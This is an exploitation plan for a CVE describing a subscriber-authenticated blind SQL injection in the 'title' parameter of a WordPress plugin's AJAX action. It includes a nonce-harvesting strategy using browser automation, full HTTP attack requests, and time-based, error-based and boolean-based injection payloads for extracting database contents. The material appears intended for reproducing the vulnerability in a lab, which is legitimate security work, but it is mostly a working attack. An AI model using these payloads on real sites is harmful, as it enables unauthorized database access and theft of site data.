Exploitation Research Plan: CVE-2026-5028 (Eight Day Week Print Workflow)

1. Vulnerability Summary

The Eight Day Week Print Workflow plugin (<= 1.2.6) is vulnerable to a time-based blind SQL Injection via the title parameter. The vulnerability exists within the AJAX handler for the pp-get-articles action. The plugin fails to use $wpdb->prepare() or sufficient escaping when incorporating the user-supplied title into a database query. This allows authenticated users (with at least Subscriber-level permissions) to execute arbitrary SQL commands by appending malicious payloads to the query.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• HTTP Method: POST
• Action: pp-get-articles (Hook: wp_ajax_pp-get-articles)
• Vulnerable Parameter: title
• Authentication: Required (Subscriber or higher).
• Vulnerability Type: Time-based Blind SQL Injection.
• Preconditions: The attacker must be logged in as a Subscriber.

3. Code Flow (Inferred)

1. Entry Point: A user sends a POST request to admin-ajax.php with action=pp-get-articles.
2. Hook Trigger: WordPress triggers the wp_ajax_pp-get-articles action.
3. Handler Function: A function (likely named pp_get_articles or similar within the plugin's main class) is called.
4. Input Retrieval: The handler retrieves the title parameter directly from $_POST['title'].
5. SQL Construction: The title value is concatenated into a SQL string. Based on the name pp-get-articles, the query likely looks like:
   SELECT ... FROM {$wpdb->posts} WHERE post_title LIKE '%$title%' AND ...
6. Execution: The raw query is passed to $wpdb->get_results() without the protection of $wpdb->prepare().
7. Sink: The database executes the injected time-delay command (e.g., SLEEP()).

4. Nonce Acquisition Strategy

AJAX actions in WordPress typically require a security nonce. For the pp-get-articles action, the nonce is likely localized for use in the admin dashboard.

1. Identify Script Localization: Search the plugin code for wp_localize_script. Common identifiers might include edw_admin_params or pp_ajax_obj.
2. Setup: Create a Subscriber user and log in.
3. Navigation: Navigate to the WordPress dashboard (/wp-admin/).
4. Extraction:
   • Use browser_navigate to load the dashboard.
   • Use browser_eval to search for the nonce.
   • Target Variable (Inferred): window.edw_settings?.nonce or window.pp_vars?.nonce.
   • Manual Verification: If the variable name is unknown, use browser_eval("Object.keys(window).filter(k => k.includes('pp') || k.includes('edw'))") to find relevant objects.

5. Exploitation Strategy

The exploitation will use a time-based blind approach to confirm the injection.

Step 1: Authentication

Log in as the Subscriber user and capture session cookies.

Step 2: Confirmation of Vulnerability (Time Delay)

Send a baseline request and then a request with a SLEEP command.

Baseline Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=pp-get-articles&title=test&security=[NONCE]

Malicious Request (SQLi):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=pp-get-articles&title=test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1&security=[NONCE]

Step 3: Data Extraction (Example: Database Version)

To extract the first character of the database version:
Payload:
title=test' AND (SELECT IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)) AND '1'='1

6. Test Data Setup

1. Plugin Installation: Ensure eight-day-week-print-workflow version 1.2.6 is installed and active.
2. User Creation:
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
3. Content: Ensure at least one post exists so the original query has something to work with.
   • wp post create --post_title="Sample Article" --post_status=publish

7. Expected Results

• Normal Request: Returns near-instantly (e.g., < 200ms).
• Exploit Request: The server response is delayed by exactly the number of seconds specified in the SLEEP() function (e.g., 5 seconds).
• HTTP Response: Usually 200 OK with a JSON body (possibly empty or {"success":true}) or 0/-1 if the handler doesn't return data but still executes the query.

8. Verification Steps

1. Verify Delay: Check the elapsed_time of the http_request. If it exceeds the sleep threshold, SQLi is confirmed.
2. Check Logs: Inspect the MySQL general log (if enabled) or use a tool like tcpdump to see the query being sent to the database.
   • tail -f /var/lib/mysql/hostname.log (if logging is on).

9. Alternative Approaches

• Error-Based: If WP_DEBUG is enabled, try inducing a syntax error to see if $wpdb->last_error is reflected in the response:
  • title=test' OR (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT VERSION()),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -
• Boolean-Based: If the response body changes based on the query result (e.g., articles found vs. not found), use a boolean-based payload:
  • title=test' AND 1=1-- - (True)
  • title=test' AND 1=2-- - (False)
• Different Parameter: If title is not the only vulnerable parameter, check other parameters in pp-get-articles like post_type or category.